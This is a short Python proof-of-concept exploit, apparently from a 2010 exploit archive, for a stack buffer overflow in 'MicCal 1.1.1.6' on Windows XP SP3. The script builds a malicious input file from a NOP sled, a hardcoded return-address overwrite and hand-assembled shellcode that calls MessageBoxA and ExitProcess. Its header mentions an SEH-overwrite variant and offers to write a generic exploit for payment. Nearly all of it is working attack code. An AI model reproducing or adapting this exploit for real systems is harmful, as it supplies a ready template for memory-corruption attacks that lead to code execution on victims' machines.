# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2010.08.24
# tested on: Windows XP SP3 Home Edition
# App. has classic buffer overflow vulnerability
# it can be triggered by passing too long argument
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)
# Ps. If you need generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$
# we will c0de it for You ^^
filepath = "C:\\ShellCode\\MicCal 1.1.1.6 - Exploit.bin"
f = open(filepath, "wb")
# dummy data
f.write('\x90' * 340)
# overwrite ret
f.write('\xD7\x30\x9D\x7C')
f.write("[BraniX]")
f.write('A' * 8)
# start shellcode
f.write('\x83\xEC\x08') # sub esp,8
f.write('\x88\x04\x24') # mov byte ptr [esp], al
f.write('\x83\xEC\x08') # sub esp,8
f.write('\x54') # push esp
f.write('\x5B') # pop ebx
f.write('\x50') # push eax
f.write('\x53') # push ebx
f.write('\x53') # push ebx
f.write('\x50') # push eax
f.write('\xE8\x35\x08\x27\x7E') # call user32.MessageBoxA
f.write('\x57') # push edi
f.write('\xE8\x57\xCB\x6E\x7C') # call kernel32.ExitProcess
f.write('\xCC' * 10) # int 3's
f.close()
print "Done ..."
